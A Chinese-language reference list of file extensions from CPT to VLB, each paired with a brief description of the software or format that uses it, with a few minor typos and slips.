CPT Corel 照片-绘画图像
CPX Corel Presentation Exchange压缩图形文件
CRD Windows Cardfile文件
CRP Corel 提供的运行时介绍文件;Visual dBASE自定义报表文件
CRT 认证文件
CSC Corel脚本文件
CSP PC Emcee On_Screen图像
CSS 瀑布式表格文件
CST Macromedia Director Cast文件
CSV 逗号分隔的值文件
CT Scitex CT位图文件;Paint Shop Pro Grapic编辑器文件
CTL 通常用于表示一个包含控件信息的文件;FaxWork用它来保持有关每个传真收到或发出的信息
CUE Microsoft提示牌数据文件
CUR Windows光标文件
CUT Dr Halo位图文件
CV Corel版本的档案文件;Microsoft CodeView信息屏幕文件
CWK ClarisWorks数据文件.
CWS ClarisWorks模块
CXT Macromedia Director受保护的(不可编辑的)投影文件
CXX C++源代码文件
DAT 数据文件;WrodPerfect合并数据文件;用于一些MPEG格式的文件
DB Borland的Paradox 7表
DBC Microsoft Visual FoxPro数据库容器文件
DBF dBASE文件,一种由Ashton-Tate创建的格式,可以被ACT!、Lipper、FoxPro、Arago、Wordtech、Xbase和类似数据库或与数据库有关产品识别;可用数据文件(能被Excel 97打开);Oracle 8.1.x表格空间文件
DBX DataBearn图像;Microsoft Visual FoxPro表格文件
DCM DCM模块格式文件
DCR 冲击波文件
DCS 桌面颜色分隔文件
DCT Microsoft Visual FoxPro数据库容器
DCU Delphi编译单元文件
DCX Microsoft Visual FoxPro数据库容器;基于PCX的传真图像;宏
DC5 DataCAD绘图文件
DDF Btrieve或Xtrieve数据定义文件,它包含用于描述Btrieve或Xtrieve文件的元数据
DDIF Digital Equipment或 Compaq格式,用于保存他们图像与字处理文档
DEF SmartWareⅡ数据文件;C++模块定义文件
DEFI Oracle 7 卸载脚本文件
DEM 用于表示数字高度模型的USGS基准的文件
DER 认证文件
DEWF Macintosh Sound Cap/Sound Edit录音设备格式
DGN Macintosh 95 CAD绘图文件
DIB 设备无关位图
DIC 目录
DIF 可进行数据互换的电子表格
DIG DigiLink格式;Sound DesignerⅠ音频文件
DIR MacromediaDirector文件
DIZ 描述文件
DLG C++对话框脚本文件
DLL 动态链接库
DLS 可下载声音文件
DMD Visual dBASE数据模块文件
DMF X-Trakker音乐模块(MOD)文件
DOC FrameMaker或FrameBuilder文档;Word Star文档、Word Perfect文档、Microsoft Word文档;DisplayWrite文档
DOT Microsoft Word文档模板
DPL Borland Delph3压缩库
DPR Borland Delphi工程头文件
DRAW Acorn的基于对象的矢量图像文件
DRV 驱动程序
DRW Micrografx Designer/Draw;Pro/E绘画文件
DSF Micrografx Designer VFX文件
DSG DOOM保存的文件
DSM Dynamic Studio音乐模块(MOD)文件
DSP Microsoft Developer Studio工程文件
DSQ Corel QUERY(查询)文件
DST 刺绣机图形文件
DSW Microsoft Developer Studio工作区文件
DTA Word Bank(世界银行)的STARS数据文件
DTD SGML文档类型定义(DTD)文件
DTED 地面高度数字数据(图形的数据格式)文件
DTF Symantec Q&A相关的数据库数据文件
DTM DigiTrakker模块文件
DUN Microsoft拔号网络导出文件
DV 数字视频文件(MIME)
DWD DiamondWare数字化文件
DWG AutoCAD工程图文件;AutoCAD或Generic CADD老版本的绘图格式
DXF 可进行互交换的绘图文件格式,二进制的DWG格式的文本表示;数据交换文件
DXR Macromedia Director受保护(不可编辑)电影文件
D64 Commodore的64位模拟磁盘图像文件
EDA Ensoniq ASR磁盘映像
EDD 元素定义文档(FrameMaker+SGML文档)
EDE Ensoniq EPS磁盘映像
EDK Ensoniq KT磁盘映像
EDQ Ensoniq SQ1/SQ2/Ks32磁盘映像
EDS Ensoniq SQ80磁盘映像
EDV Ensoniq VFX-SD磁盘映像
EFA Ensoniq ASR文件
EFE Ensoniq EPS文件
EFK Ensoniq KT文件
EFQ Ensoniq SQ1/SQ2/Ks32文件
EFS Ensoniq SQ80文件
EFV Ensoniq VFX-SD文件
EMD ABT扩展模块
EMF Windows增强元文件
EML Microsoft Outlook Express邮件消息(MIME RTC822)文件
ENC 重演文件
ENFF 中性文件格式扩展名
EPHTML Perl解释增强HTML文件
EPS 压缩的PostScript图像
EPSF 压缩的PostScript文件
ERI ERWin文件
ERR 当RobooHELP帮助编译器企图编译一个帮助系统源文件时用来存储错误消息的文件
EPX ERWin文件
ESPS ESPS音频文件
EUI Ensoniq ESP家族的压缩磁盘映像
EVY 特使文档
EWL Microsoft Encarta文档
EXC Microsoft Word禁止字字典
EXE 可执行文件(程序)
F FORTRAN文件
F2R Farandoyle线性模块格式
F3R Farandoyle分块线性模块格式
F77 FORTRAN文件
F90 FORTRAN文件
FAR Fradole Composer音乐模块(MOD)文件
FAV Microsoft Outlook导航条
FAX 传真类型图像
FBK Navison 金融备份
FCD 虚拟CD-ROM
FDB Navison 金融数据库
FDF Adobe Acrobat表单文档文件
FEM CADRE有限元素网络文件
FFA,FFL,FFO,FFK Microsoft快速查找文件
FFF GUS PnP银行文件格式
FFT 最终格式文本(IBM的DCA一部分)
FH3 Aldus Freehand 3绘图文件
FIF Fractal图像文件
FIG REND386/AVRIL使用的文件格式
FITS CCD照相机图像;灵活图像传输系统
FLA Macromedia Flash电影
FLC Autodesk FLIC动画文件
FLF Corel Paradox产生的格式:Navison Financials许可文件;OS/2驱动程序文件
PLI Autodesk FLIC动画
FLT StarTrekker音乐模块(MOD)文件;MultiGen Inc的Open Flight使用的文件格式;Corel过滤器文件
FM Adobe FrameMaker文档
FMB Oracle4.0版或以后版本表单的二进制源代码文件
FML 文件镜象列表(GetRight)
FMT Oracle 4.0版或以后版本表单的文本格式;Microsoft Schedule+ 打印文件
FMX Oracle 4.0版或以后版本可执行表单
FND Microsoft Explorer保存的搜索文件(Find applet)
FNG 字体组文件(字体导航器,Font Navigator)
FNK Funk Tracker模块格式
FOG Fontographer模块字体
FON 系统字体
FOR FORTRAN文件
FOT 字体相关文件
FP FileMaker Pro文件
FP1 Flying Pigs for Windows数据文件
FP3 FileMaker Pro文件
FPT FileMaker Pro文件;Microsoft Fox Pro备注字体文件
FPX FlashPix位图
FRM 表单;Frame Maker或Frame Builder文档;Oracle可执行表(3.0版或早期版本);Visual Basic表单;WordPerfect Merge表单;DataCAD标志报表文件
FRT Microsoft FoxPro报表文件
FRX Visual Basic表单文本;Microsoft FoxPro报表文件
FSF fPrint Audit Tool文件格式
FSL Borland的Paradox 7表单;Corel Paradox保存的表单
FSM Parandoyle示例格式
FT Lotus Notes全文本索引
FTG 全文本搜索组文件,由Windows帮助系统查找时产生——可以删除,并在需要时重建起来
FTS 全文本搜索引文件,由Windows帮助系统查找时产生
FW2 Framework Ⅱ文件
FW3 Framework Ⅲ文件
FW4 Framework Ⅳ文件
FXP 经Microsoft FoxPro编译的源文件
FZB Casio FZ-1银行转储
FZF Casio FZ-1完全转储
FZV Casio FZ-1声音转储
G721 Raw CCITT G.721 $bit ADPCM格式数据
G723 Raw CCITT G.723 3或5bit ADPCM格式数据
GAL Corel多媒体管理器相集
GCD Generic CADD绘画文件(后续版本)
GCP Ground Control Point(地面控制点)文件,用于远景数据形成图像过程,经常用于生成图工程—CHIPS(copenhagen image processing system)使用这些文件
GDB InterBase数据库文件
GDM 铃声、口哨声和声音板模块格式
GED GEDCOM 系谱数据文件,用于记录和交换系谱数据的流行格式;图形环境文档绘画
GEM GEM元文件
GEN Ventura产生的文本文件
GetRight GetRight未完成的下载文件
GFC Patton&Patton FlowCharting 4 flowchart文件
GFI,GFX Genigraphics图形链接表示文件
GHO Norton 克隆磁盘映像
GID Windows 95全局索引文件(包括帮助状态)
GIF CompuServe位图文件
GIM,GIX Genigraphics图形链接介绍文件
GKH Ensoniq EPS家簇磁盘映像文件
GKS Gravis Grip Key文档
GL 动画格式
GNA Genigraphics图形链接介绍文件
GNT 生成代码,Micro Focus属性格式里的可执行代码
GNX Genigraphics图形链接介绍文件
GRA Microsoft Graph文件
GRD 用于远程视景数据产生地图过程的格式文件,通常应用于形成地图工程—CHIPS(copenhagen image processing system)使用这些文件
GRF Grapher(Golden Software公司)图形文件
GRP 程序管理组
GSM Raw GSM 6.10音频流;Raw“byte aligned(比特对齐的)” GSM 6.10音频流;US Robotics语音调制解调器
GTK Graoumftracker(老)音乐模块(MOD)文件
GT2 Graoumftracker(新)音乐模块(MOD)文件
GWX,GWZ Cenigraphis图形链接介绍文件
GZ UNIX gzip压缩文件
H C程序头文件
HCM IBM HCM配置文件
HCOM 声音工具HCOM格式
HCR IBM HCD/HCM产品配置文件
HDF 高级计算机应用程序本地中心(NCSA) geospatial Hierarchial数据格式文件
HED HighEdit文档
HEL Microsoft Hellbender格式保存的游戏文件
HEX Macintosh BinHex2.0文件
HGL HP图形语言绘图文件
HH 映射文件,包括一些话题ID和在帮助文件系统中话题的映射数字—允许运行中应用程序发送给用户合适的上下文帮助话题
HLP 帮助文件;Date CAD Windows帮助文件
HOG Lucas Arts的Dark Forces WAD文件
HPJ Visual Basic帮助工程
HPP C++程序头文件
HQX Macintosh BinHex 4.0文件
HST 历史文件
HT HyperTerminal(超级终端)
HTM,HTML 超文本文档
HTT Microsoft超文本模板
HTX 扩展HTML模板
HXM Descent2 HAM文件扩展
ICA Citrix文件
ICB Targa位图文件
ICC Kodak打印机格式文件
ICL 图标库文件
ICM 图形颜色匹配配置文件
ICO Windows图标
IDB MSDev中间层文件
IDD MIDI设备定义
IDF MIDI设备定义(Windows 95需要的文件)
IDQ Internet数据查询文件
IDX Microsoft FoxPro相关数据库索引文件;Symantec Q&A相关数据库索引文件;Microsoft Outlook Express文件
IFF 交换格式文件;Amiga ILBM
IGES 初始图形交换说明文件
IGF 插入系统元文件
IIF QuickBooks for Windows交换文件
ILBM 位图图形文件
IMA WinImage磁盘映像文件
IMG GEM映像
IMZ WinImage压缩磁盘映像文件
INC 汇编语言或动态服务器包含文件
INF 信息文件
INI 初始化文件;MWave DSP Synth的“nwsynth.ini” GMS安装;Cravis Ultrasound bank安装
INP Oracle 3.0版或早期版本的表单源代码
INRS INRS远程通信声频
INS InstallShield安装脚本;X-Internet签字文件;Ensoniq EPS字簇设备;Cell/ⅡMAC/PC抽样设备
INT 中间代码,当一个源程序经过语法检查后编译产生一个可执行代码
IOF Findit文档
IQY Microsoft Internet查询文件
ISO 根据ISD 9660有关CD-ROM文件系统标准列出CD-ROM上的文件
ISP X-Internet签字文件
IST 数字跟踪设备文件
ISU InstallShield卸装脚本
IT 脉冲跟踪系统音乐模块(MOD)文件
ITI 脉冲跟踪系统设备
ITS 脉冲跟踪系统抽样,Internet文档位置
IV Open Inventor中使用的文件格式
IVD 超过20/20微观数据维数或变量等级文件
IVP 超过20/20的用户子集配置文件
IVT 超过20/20表或集合数据文件
IVX 超过20/20微数据目录文件
IW Idlewild屏幕保护程序
IWC Install Watch文档
J62 Ricoh照相机格式
JAR Java档案文件(一种用于applet和相关文件的压缩文件)
JAVA Java源文件
JBF Paint Shop Pro图像浏览文件
JFF,JFIF,JIF JPEG文件
JMP SAS的JMPDiscovery表格统计文件
JN1 Epic MegaGames的Jill of the Jungle数据文件
JPE,JPEG,JPG JPEG图形文件
JS javascript源文件
JSP HTML网页,其中包含有对一个Java servlet的参考
JTF JPEG位图文件
K25 Kurzweil 2500抽样文件
KAR 卡拉OK MIDI文件(文本+MIDI)
KDC Kodak光增强器
KEY DataCAD图标工具条文件
KFX KoFak Group 4图像文件
KIZ Kodak数字明信片文件
KKW RoboHELP帮助工程索引设计器中与主题无关的K开头的所有关键字
KMP Korg Trinity KeyMap文件
KQP Konica照相机本地文件
KR1 Kurzweil 2000抽样(多软驱)文件
KRZ Kurzweil 2000抽样文件
KSF Korg Trinity抽样文件
KYE Kye游戏数据
LAB Visual dBASE标签文件
LBM Deluxe Paint位图文件
LBT,LBX Microsoft FoxPro标签文件
LDB Microsoft Access加锁文件
LDL Corel Paradox分发库
LEG Legacy文档
LES Logitech娱乐系统游戏配置文件(与REC文件一样)
LFT 3D Studio(DOS)放样文件
LGO Paintbrush(Microsoft画图应用程序)的徽标文件
LHA LZH更换文件后缀
LIB 库文件
LIN DataCAD线型文件
LIS 结构化查询报告(SQR)程序产生的输出文件
LLX Laplink交换代理
LNK Windows快捷方式文件
LOG 日志文件
LPD Helix Nut和Bolt文件
LRC Intel可视电话文件
LSL Corel Paradox保存的库文件
LSP AutoLISP、CommonLISP和其他LISP语言文件
LST 列表文件
LU ThoughtWing库单元文件
LVL Parallax Software的 Miner Descent/D2 Level扩展
LWLO Lightwave分层对象文件
LWOB Lightwave对象文件
LWP Lotus WordPro 96/97文件
LWSC Lightwave视景文件
LYR DataCAD层文件
LZH LH ARC压缩档案
LZS Skyroads数据文件
M1V MPEG相关文件(MIME“mpeg”类型)
M3D Corel Motion 3D动画文件
M3U MPEG URL(MIME声音文件)
MAC MacPaint图像文件
MAD Microsoft Access模块文件
MAF Microsoft Access表单文件
MAG 在一些日本文件中发现的图形文件格式
MAGIC 魔力邮件监视器配置文件
MAK Visual Basil或Microsoft Visual C++工程文件
MAM Microsoft Access宏
MAN UNIX手册页输出
MAP 映射文件;Duke Nukem 3D WAD游戏文件
MAQ Microsoft Access查询文件
MAR Microsoft Access报表文件
MAS Lotus Freelance Graphics Smart Master文件
MAT Microsoft Access表;3D Studio MAX材料库
MAUD MAUD抽样格式
MAX Kinetx的3DStudio MAX文件;该格式用于一个3D场景文件;Paperport文件;OrCAD设计文件
MAZ Hover迷路数据;Division的dVS/dVISE使用的文件格式
MB1 Apogee Monster Bash数据文件
MBOX Berkeley Unix邮箱格式
MBX Microsoft Outlook保存email格式;Eudora邮箱
MCC Dailerl0呼叫卡
MCP Metrowerks CodeWarrior工程文件
MCR DataCAD键盘宏文件
MCW Microsoft Word的Macintosh文档
MDA Microsoft Access内抽入器;Microsoft Access 2.0版及其后续版本的工作组事件
MDB Microsoft Access数据库
MDE Microsoft Access MDE文件
MDL 数字跟踪器音乐模块(MOD)文件;Quake模 块文件
MDN Microsoft Access空数据库模板
MDW Microsoft Access工作组文件
MDZ Microsoft Access向导模板文件
MED 音乐编辑器,OctaMED音乐模块(MOD)文件
MER 电子表格/数据库数据交换格式;FileMaker、Excel及其他软件能识别
MET 表示管理器元文件
MFG Pro/ENGINEER制造文件
MGF 在材料与几何学里的文件格式
MHTM,MHTML MHTML文档(MIME)
MI 杂项
MIC Microsoft Image Composer文件
MID MIDI音乐
MIF Adobe FramMaker交换格式
MIFF 与机器无关格式文件
MIM,MIME,MME Internet邮件扩展格式的多用途文件,经常作为发送e-mail时在AOL里附件而创建的文件;在一个多区MIM文件里的文件能用WinZip或其他类似程序打开
MLI 3D Studio的材料库格式文件
MMF Meal Master格式;一个处方类格式;Microsoft邮件文件
MMG 超过20/20表或集会数据文件
MMM Microsoft多媒体电影
MMP Mindmapor Mind Manager文件
MN2 Descent2任务文件
MND,MNI Mandelbort for Windows
MNG 多映像网络图形
MNT,MNX Microsoft FoxPro菜单文件
MNU Visual dBASE菜单文件;Intertel Systems Interact菜单文件
MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音乐模块文件;Microsoft多计划电子表格;Amiga/PC磁道文件
MOV QuickTime for Windows电影
MP2 第二层MPEG音频文件
MP3 第三层MPEG音频文件
MPA MPEG相关文件,MIME“mpeg类型”
MPE,MPEG,MPG MPEG动画文件
MPP Microsoft工程文件;CAD绘图文件格式
MPR Microsoft FoxPro菜单(已编译)
MRI MRI扫描文件
MSA 魔术阴影档案
MSDL Manchester的场景描述语言
MSG Microsoft邮件消息
MSI Windows 安装器包
MSN Microsoft网络文档;Descent Mission文件
MSP Microsoft Paint(画图)位图文件;Windows Installer路径文件
MST Windows 安装器传输文件
MTM Multi 跟踪器音乐模块(MOD)文件
MUL Ultima在线
MUS 音乐
MUS10 Mus10声音
MVB Microsoft多媒体查看器文件
MWP Lotus WordPro 97 Smart Master文件
NAN Nanoscope文件(Raw Grayscale)
NAP NAP元文件
NCB Microsoft Developer Studio文件
NCD Norton改变目录
NCF NetWare命令文件;Lotus Notes内部剪切板
NDO 3D 低多边形建模器,Nendo
netCDF 网络公用数据表单
NFF 中性文件格式
NFT NetObject Fusion模板文件
NIL Norton光标库文件(EasyIcons-兼容)
NIST NIST Sphere声音
NLB Oracle 7数据
NLM NetWare可装载模块
NLS 用于本地化的国家语言支持文件(例如,Uniscape)
NLU Norton Live Update e-mail 触发器文件
NOD NetObject Fusion文件
NSF Lotus Notes数据库
NSO NetObject Fusion文档文件
NST Noise Tracker音乐模块(MOD)文件
NS2 Lotus Notes数据库(第二版)
NTF Lotus Notes数据库模板
NTX CA-Clipper索引文件
NWC Noteworthy Composer歌曲文件
NWS Microsoft Outlook Express新闻消息(MIME RFC822)
O01 台风声音文件
OBD Microsoft Office活页夹
OBJ 对象文件
OBZ Microsoft Office活页夹向导
OCX Microsoft对象链接与嵌入定制控件
ODS Microsoft Outlook Express邮箱文件
OFF 3D 网状物对象文件格式
OFN Microsoft Office FileNew文件
OFT Microsoft Outlook模板
OKT Oktalyzer音乐模块(MOD)文件
OLB OLE对象库
OLE OLE对象
OOGL 面向对象图形库
OPL 组织者编程语言源文件——Psion/Symbian
OPO OPL输出可执行文件
OPT Microsoft Developer Studio文件
OPX OPL扩展DLL(动态链接库)
ORA Oracle 7 配置文件
ORC Oracle 7脚本文件
ORG Lotus Organizer 文件
OR2 Lotus Organizer 2 文件
OR3 Lotus Organizer 97 文件
OSS Microsoft Office查找文件
OST Microsoft Exchange / Outlook 离线文件
OTL Super NoteTab 模板文件
OUT C语言输出文件
P3 Primavera Project Planner(工程设计器)文件
P10 Tektronix Plot 10 绘图文件
P65 PageMaker 6.5文件
P7C Digital ID 文件(MIME)
PAB Microsoft个人地址簿
PAC SB Studio Ⅱ 包
PAK Quake WAD文件
PAL 压缩文件
PART Go!Zilla部分下载文件
PAS Pascal源代码
PAT DataCAD Hatch模式文件;CorelDRAW模式;高级Gravis Ultrasound / Forte 技术;碎片文件
PBD PowerBuilder动态库,作为本地DLL的一个替代物
PBF Turtle Beach的Pinnacle 银行文件
PBK Microsoft PhoneBook(电话簿)
PBL 用于在PowerBuilder开发环境中的PowerBuilder动态库
PBM 可导出位图
PBR PowerBuilder资源
PCD Kodak Photo-CD映像;P-Code编译器测试脚本,由Microsoft测试与Microsoft Visual测试
PCE Maps Eudora邮箱名字的DOS文件名
PCL Hewlett-Packard 打印机控制语言文件(打印机备用位图)
PCM 声音文件格式;OKI MSM6376 合成芯片 PCM格式
PCP Symantec Live Update Pro文件
PCS PICS动画文件
PCT Macintosh PICT绘画文件
PCX Zsoft PC画笔位图
PDB 3Com PalmPilot数据库文件
PDD 可以用Paint Shop Pro或其他图像处理软件打开的图形图像
PDF Adobe Acrobat 可导出文档格式文件(可用Web浏览器显示);Microsoft系统管理服务器包定义文件;NetWare打印机定义文件
PDP Broderbund的Print Shop Deluxe文件
PDQ Patton&Patton Flowercharting PDQ Lite 文件
PDS 摄影图像文件(该文件格式的来源不清楚)
PF Aladdin系统对私人文件进行加密的文件
PFA 类型1字体(ASCⅡ)
PFB 类型1字体(二进制)
PFC PF组件
PFM 打印机字体尺度
PGD 良好隐私(Pretty Good Privacy,PGP)虚拟磁盘文件
PGL HP绘图仪绘图文件
PGM 可输出灰度图(位图)
PGP 用良好隐私(PGP)算法加密文件
PH 由Microsoft帮助文件编译器产生的临时文件
PHP,PHP3 包含有PHP脚本的HTML网页
PHTML 包含有PHP脚本的HTML网页;由Perl分析解释的HTML
PIC PC画图位图;Lotus图片;Macintosh PICT绘图
PICT Macintosh PICT图形文件
PIF 程序信息文件;IBM PIF绘图文件
PIG LucasArts的Dark Forces WAD文件
PIN Epic Pinball数据文件
PIX 内置系统位图
PJ MKS源完整性文件
PJX,PJT Microsoft Visual FoxPro工程文件
PKG Microsoft Developer Studio应用程序扩展(与DLL文件类似)
PKR PGP的公用钥匙环
PL Perl程序
PLG 由REND386/AVRIL使用的文件格式
PLI Oracle 7数据描述
PLM Discorder Tracker2模块
PLS Disorder Tracker2抽样文件;MPEG PlayList文件(由WinAmp使用)
PLT HPGL绘图仪绘图文件;AutoCAD plot绘图文件;Gerber标志制作软件
PM5 Pagemaker 5.0文件
PM6 Pagemaker 6.0文件
PNG 可移植的网络图形位图;Paint Shop Pro浏览器目录
PNT,PNTG MacPaint图形文件
POG Descent2 PIG文件扩展
POL Windows NT策略文件
POP Visual dBASE上托文件
POT Microsoft Powerpoint模块
POV 视频射线跟踪器暂留
PP4 Picture Publisher 4位图
PPA Microsoft Powerpoint内插器
PPF Turtle Beach的Pinnacle程序文件
PPM 可移植的象素映射位图
PPP Parson Power Publisher;Serif PagePlus桌面出版缺省输出
PPS Microsoft Powerpoint幻灯片放映
PPT Microsoft Powerpoint演示文稿
PQI PowerQuest驱动器图像文件
PRC 3COM PalmPiltt资源(文本或程序)文件
PRE Lotus Freelance演示文稿
PRF Windows系统文件,Macromedia导演设置文件
PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序
PRJ 3D Studio(DOS)工程文件
PRN 打印表格(用空格分隔的文本);DataCAD Windows打印机文件
PRP Oberson的Prospero数据转换产品保存的工程文件
PRS Harvard Graphics for Windows演示文件
PRT 打印格式化文件;Pro/ENGINEER元件文件
PRV PsiMail Internet提供者模板文件
PRZ Lotus Freelance Graphics 97文件
PS Postscript格式化文件(PostScript打印机可读文件)
PSB Pinnacle Sound Bank
PSD Adobe photoshop位图文件
PSI PSION a-Law声音文件
PSM Protracker Studio模型格式;Epic游戏的源数据文件
PSP Paint Shop Pro图像文件
PST Microsoft Outlook个人文件夹文件
PTD Pro/ENGINEER表格文件
PTM Polytracker音乐模块(MOD)文件
PUB Ventura Publisher出版物;Microsoft Publisher文档
PWD Microsoft Pocket Word文档
PWL Windows 95口令列表文件
PWP Photoworks图像文件(能被Photoworks浏览的一系列文件)
PWZ Microsoft Powerpoint向导
PXL Microsoft Pocket Excel电子表格
PY 来自Yahoo的电子消息;Python脚本文件
PYC Python脚本文件
QAD PF QuickArt文档
QBW QuickBooks for Windows文件
QDT 来自Quicken UK的QuickBooks数据文件,帐目/税/货单程序
QD3D Apple的QuickDraw 3D元文件格式
QFL FAMILY LAWYER文档
QIC Microsoft备份文件
QIF QuickTime相关图像(MIME);Quicken导入文件
QLB Quick库
QM Quality Motion文件
QRY Microsoft查询文件
QST Quake Spy Tab文件
QT,QTM QuickTime电影
QTI,QTIF QuickTime相关图像
QTP QuickTime优先文件
QTS Mac PICT图像文件;QuickTime相关图像
QTX QuickTime相关图像
QW Symantec Q&A Write程序文件
QXD Quark XPress文件
R Pegasus邮件资源文件
RA RealAudio声音文件
RAM RealAudio元文件
RAR RAR压缩档案(Eugene Roshall格式)
RAS Sun光栅图像位图
RAW RAW文件格式(位图);Raw标识的PCM数据
RBH 由RoboHELP维持的RBH文件,它加入到一个帮助工程文件的信息中
RDF 资源描述框架文件(涉及XML和元数据)
RDL Descent注册水平文件
REC 录音机宏;RapidComm声音文件
REG 注册表文件
REP Visual dBASE报表文件
RES Microsoft Visual C++资源文件
RFT 可修订的表单文本(IBM的DCA一部分或文档内容框架结构一部分)
RGB,SGI Silicon图形RGB文件
RLE Run-Length编码的位图
RL2 Descent2注册水平文件
RM RealAudio视频文件
RMD Microsoft RegMaid文档
RMF Rich Map格式(3D游戏编辑器使用它来保存图)
RMI M1D1音乐
ROM 基于盒式磁带的家庭游戏仿真器文件(来自Atari 2600、Colecovision、Sega、Nintendo等盒式磁带里的ROM完全拷贝,在两个仿真器之间不可互修改)
ROV Rescue Rover数据文件
RPM RedHat包管理器包(用于Linux)
RPT Microsoft Visual Basic Crystal报表文件
RRS Ace game Road Rash保存的文件
RSL Borland的Paradox 7报表
RSM WinWay Resume Writer恢复文件
RTF Rich Text格式文档
RTK RoboHELP使用的用来模拟Windows帮助的搜索功能
RTM Real Tracker音乐模块(MOD)文件
RTS RealAudio的RTSL文档;RoboHELP对复杂操作进行加速
RUL InstallShield使用的扩展名
RVP Microsoft Scan配置文件(MIME)
Rxx 多卷档案上的RAR压缩文件(xx= 1~99间的一个数字)
S 汇编源代码文件
S3I Scream Tracker v3设备
S3M Scream Tracker v3的声音模块文件
SAM Ami专业文档;8位抽样数据
SAV 游戏保存文件
SB 原始带符号字节(8位)数据
SBK Creative Labs的Soundfont 1.0 Bank文件;(Soundblaster)/EMU SonndFont v1.x Bank文件
SBL Shockwave Flash对象文件
SC2 Microsoft Schedule+7文件格式;SAS目录(Windows 95/NT、OS/2、Mac)
SC3 SimCity 3000保存的游戏文件
SCC Microsoft Source Safe文件
SCD Matrix/Imapro SCODL幻灯片图像;Microsoft Schedule +7
SCF Windows Explorer命令文件
SCH Microsoft Schedule+1
SCI ScanVec Inspire本地文件格式
SCN True Space 2场景文件
SCP 拨号网络脚本文件
SCR Windows屏幕保护;传真图像;脚本文件
SCT SAS目录(DOS);Scitex CT位图;Microsoft FoxPro表单
SCT01 SAS目录(UNIX)
SCV ScanVec CASmate本地文件格式
SCX Microsoft FoxPro表单文件
SD Sound Designer 1声音文件
SD2 Sound Designer 2展平文件/数据分叉指令;SAS数据库(Windows 95/NT、OS/2、Mac)
SDF 系统数据文件格式—Legacy Unisys(Sperry)格式
SDK Roland S—系列软盘映像
SDL Smart Draw库文件
SDR Smart Draw绘图文件
SDS 原始Midi抽样转储标准文件
SDT SmartDraw模板
SDV 分号分隔的值文件
SDW Lotus WordPro图形文件;原始带符号的DWORD(32位)数据
SDX 由SDX压缩的Midi抽样转储标准文件
SEA 自解压档案(Stufflt for Macintosh或其他软件使用的文件)
SEP 标签图像文件格式(TIFF)位图
SES Cool Edit Session文件(普通数据声音编辑器文件)
SF IRCAM声音文件格式
SF2 Emu Soundfont v2.0文件;Creative Labs的Soundfont 2.0 Bank文件(Sound Blaster)
SFD SoundStage声音文件数据
SFI Sound Stage声音文件信息
SFR Sonic Foundry Sample资源
SFW Seattle电影工程(损坏的JPEG)
SFX RAR自解压档案
SGML 标准通用标签语言
SHB Corel Show演示文稿;文档快捷文件
SHG 热点位图
SHP 3D Studio(DOS)形状文件;被一些应用程序用于多部分交互三角形模型的3D建模
SHS Shell scrap文件;据载用于发送“口令盗窃者”
SHTML 含有服务器端包括(SSI)的HTML文件
SHW Corel Show演示文稿
SIG 符号文件
SIT Mac的StuffIt档案文件
SIZ Oracle 7配置文件
SKA PGP秘钥
SKL Macromedia导演者资源文件
SL PACT的保存布局扩展名
SLB Autodesk Slide库文件格式
SLD Autodesk Slide文件格式
SLK Symbolic Link(SYLK)电子表格
SM3 DataCAD标志文件
SMP Samplevision格式;Ad Lib Gold抽样文件
SND NeXT声音;Mac声音资源;原始的未符号化的PCM数据;AKAI MPC系列抽样文件
SNDR Sounder声音文件
SNDT Sndtool声音文件
SOU SB Studio Ⅱ声音
SPD Speech数据文件
SPL Shockwave Flash对象;DigiTrakker抽样
SPPACK SPPack声音抽样
SPRITE Acorn的位图格式
SQC 结构化查询语言(SQR)普通代码文件
SQL InFORMix SQL查询;通常被数据库产品用于SQL查询(脚本、文本、二进制)的文件扩展名
SQR 结构化查询语言(SQR)程序文件
SSDO1 SAS数据集合(UNIX)
SSD SAS数据库(DOS)
SSF 可用的电子表格文件
ST Atari ST磁盘映像
STL Sterolithography文件
STM .shtml的短后缀形式,含有一个服务端包括(SSI)的HTML文件;Scream Tracker V2音乐模块(MOD)文件
STR 屏幕保护文件
STY Ventura Publisher风格表
SVX Amiga 8SVX声音;互交换文件格式,8SVX/16SV
SW 原始带符号字(16位)数据
SWA 在Macromedia导演文件(MP3文件)中的Shockwave声音文件
SWF Shockwave Flash对象
SWP DataCAD交换文件
SYS 系统文件
SYW Yamaha SY系列波形文件
T64 Commodore 64仿真器磁带映像文件
TAB Guitar表文件
TAR 磁带档案
TAZ UNIX gzip/tape档案
TBK Asymetrix Toolbook交互多媒体文件
TCL 用TCL/TK语言编写的脚本
TDB Thumbs Plus数据库
TDDD Imagine 和 Turbo Silver射线跟踪器使用的文件格式
TEX 正文文件
TGA Targa位图
TGZ UNIX gzip/tap档案文件
THEME Windows 95桌面主题文件
THN Graphics WorkShop for Windows速写
TIF,TIFF 标签图像文件格式(TIFF)位图
TIG 虎形文件,美国政府用于分发地图
TLB OLE类型库
TLE 两线元素集合(NASA)
TMP Windows临时文件
TOC Eudora邮箱内容表
TOL Kodak照片增强器
TOS Atari 16/32和32/32计算机操作系统文件
TPL CakeWalk声音模板文件;DataCAD模板文件
TPP Teleport Pro工程
TRK Kermit脚本文件
TRM 终端文件
TRN MKS源完整性工程用法日志文件
TTF TrueType字体文件
TTK Corel Catalyst Translaton Tool Kit
TWF TabWorks文件
TWW Tagwrite模板
TX8 MS-DOS文本
TXB Descent/D2编码概要文件
TXT ASCⅡ文本格式的声音数据
TXW Yamaha TX16W波形文件
TZ 老的压缩格式文件
T2T Sonate CAD建模软件文件
UB 原始未符号化的字节(8位)数据
UDF Windows NT/2000唯一性数据库文件
UDW 原始未符号化的双字(32位)数据
ULAW 美国电话格式(CCITT G.711)声音
ULT Ultra Tracker音乐模块(MOD)文件
UNI MikMod UniMod格式化文件
URL Internet快捷方式文件
USE MKS源完整性文件
UU,UUE UU编码文件
UW 原始未符号化字(16位)数据
UWF UltraTracker波形文件
V8 Covox 8位声音文件
VAP 加注讲演文件
VBA VBase文件
VBP Microsoft Visual Basic工程文件
VBW Microsoft Visual Basic工作区文件
VBX Microsoft Visual Basic用户定制控件
VCE Natural MicroSystems(NMS)未格式化声音文件(由Cool Edit使用)
VCF 虚拟卡文件(Netscape);Veri配置文件;为与Sense8的WordToolkit一起使用而定义对象
VCT,VCX Microsoft FoxPro类库
VDA Targa位图
VI National Instruments LABView产品的虚拟设备文件
VIFF Khoros Visualisation格式
VIR Norton Anti-Virus或其他杀毒产品用于标识被病毒感染的文件
VIV VivoActive Player流视频文件
VIZ Division的dVS/dVISE文件
VLB CorelVentura库
